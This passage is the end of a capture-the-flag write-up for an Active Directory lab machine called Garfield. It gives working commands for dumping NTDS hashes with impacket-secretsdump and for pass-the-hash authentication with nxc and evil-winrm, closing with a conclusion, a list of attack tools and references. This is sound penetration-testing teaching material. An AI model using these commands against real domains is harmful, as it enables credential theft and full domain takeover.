KRB5CCNAME=Administrator.ccache impacket-secretsdump -k -no-pass DC01.garfield.htb -use-vss
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1106bde9-1e41-40f0-86ca-3bc93ca145dc.png align="center")

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b8920d7f-4863-4de3-9c0f-9995a2d44a33.png align="center")

- The `-use-vss` option instructs **Impacket** to obtain a **shadow copy** of the **NTDS** database rather than relying on default **DRSUAPI** extraction method. This provides an alternative way to access the `NTDS.dit` file, which contains Directory account information and password hashes.

## Getting Administrator Access on DC01

- Before opening an interactive session, verify the recovered credentials against the available services. This helps establish which authentication methods accept the credentials and confirms that the account has administrative access.

### Authenticating with the Administrator’s NT Hash

- **SMB Authentication:**

```sh
nxc smb DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5' 
```

- The results confirms successful authentication. The **(Pwn3d!)** indicator confirms that the authenticated account has administrative privileges over SMB.
- **LDAP Authentication:**

```sh
nxc ldap DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5' 
```

- The authentication succeeds.
- **WinRM Authentication:**

```sh
nxc winrm DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5'
```

- The result confirms successful authentication over **WinRM** as well.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/71540b3c-de82-4090-b850-7965eb6c7173.png align="center")

### Authenticating with the Recovered Password

- **SMB Authentication:**

```sh
nxc smb DC01.garfield.htb -u administrator -p 'lgoSWZnv0phWaNFu' 
```

- **LDAP Authentication:**

```sh
nxc ldap DC01.garfield.htb -u administrator -p 'lgoSWZnv0phWaNFu' 
```

- **WinRM Authentication:**

```sh
nxc winrm DC01.garfield.htb -u administrator -p 'lgoSWZnv0phWaNFu' 
```

- Both authentication methods work successfully across all three services.

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/752fd1c8-3eb7-4735-88cf-81acafd64691.png align="center")

### Getting an Administrator Shell and Retrieving the Root Flag

- **Using Pass-the-Hash:**

```sh
evil-winrm -i DC01.garfield.htb -u administrator -H 'ee238f6debc752010428f20875b092d5'
```

![](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3d8afb05-4df1-413a-a756-7a1f2206ec87.png align="center")

- The connection succeeds.
- Inspecting the Administrator’s profile, the **root flag** is located in the Desktop directory.
- Both the **NT hash** and **plaintext password** provide a working Administrator access on **DC01**.

---

## Conclusion

**Garfield** was a great reminder that Active Directory compromise is rarely about one spectacular vulnerability. Sometimes, all it takes is *poorly delegated permission*, *a writable attribute* and a *little curiosity* to get things moving.

From *abusing SYSVOL* and taking over user accounts to *pivoting into an RODC*, *exploiting RBCD* and *manipulating Kerberos and Password Replication Policy*, each discovery opened the door to the next. What looked like a collection of isolated weaknesses eventually became a complete path to domain compromise.

The biggest lesson? *Never underestimate delegated permissions or assume that a Read-Only Domain Controller is harmless*. Active Directory is full of relationships and attackers only need to find the right ones to turn a small foothold into a major incident.

And with that, Garfield’s secrets are out. Looks like this cat had more than nine lives after all😅

---

## Tools Used

### Enumeration and Active Directory Analysis

- `Nmap` — Network and service discovery.
- `ping` — Basic connectivity testing.
- `NetExec` — SMB, LDAP, WinRM and RDP enumeration and authentication validation.
- `smbclient` — SMB share enumeration and file access.
- `RustHound-CE` — Active Directory data collection for BloodHound.
- `BloodHond` — Active Directory relationship and attack-path analysis.
- `BloodyAD` — Active Directory object and permission enumeration and modification.
- `impacket-dacledit` — Discretionary Access Control List (DACL) inspection and manipulation

### Shell Access and Remote Execution

- `evil-winrm` — Remote PowerShell access over WinRM.
- `Netcat` — Receiving reverse shells and basic network communication.
- `rlwrap` — Improve interactive shell input.
- `PowerShell` — Windows enumeration and command execution.
- `impacket-psexec` — Remote command execution through SMB service creation.
- `revshells.com` — Reverse-shell payload generation.

### Network Pivoting and Connectivity

- `chisel` — Reverse tunnelling and SOCKS proxy establishment.
- `proxychains` — Routing network connections through the SOCKS proxy.
- `ntpdate` — Synchronizing the attacking machine’s clock with the domain controller.

### Kerberos, Delegation and Credential Extraction

- `impacket-secretsdump` — Extracting local and domain secrets.
- `impacket-addcomputer` — Creating a computer account in Active Directory.
- `impacket-rbcd` — Configuring Resource-Base Constrained Delegation.
- `impacket-getST`\- Requesting Kerberos service tickets, including S4U-based tickets.
- `impacket-ticketer` — Generating forged Kerberos tickets, including RODC-specific tickets.

### File Handling, Scripting and System Utilities

- `vim` — Editing configuration files and scripts.
- `base64` — Encoding and decoding data.
- `iconv` — Character encoding conversion.
- `wget`\- Downloading Files and Scripts.
- `curl` — Retrieving remote resources.
- `file` — Identifying file types.
- `7z` — Archive inspection and extraction.
- `python` — Running Python scripts and supporting tooling.
- `md5sum` — Calculating file checksums.
- `diff` — Comparing permission enumeration results.
- `chmod` — Modifying file permissions.

---

## References

### Kerberos and RODC Attacks

- [RODC Golden Tickets — The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/rodc-golden-tickets)
- [Custom Ticketer — Impacket Pull Request #2169](https://github.com/fortra/impacket/pull/2169)
- [At the Edge of Tier Zero: The curious Case of the RODC — SpecterOps](https://specterops.io/blog/2023/01/25/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc/)
- [Active Directory Security — Kerberos Delegation](https://adsecurity.org/?p=3592)

### Network Tunnelling and Payload Generation

- [Chisel — Github](https://github.com/jpillora/chisel)
- [Reverse Shell Generator](https://www.revshells.com/)
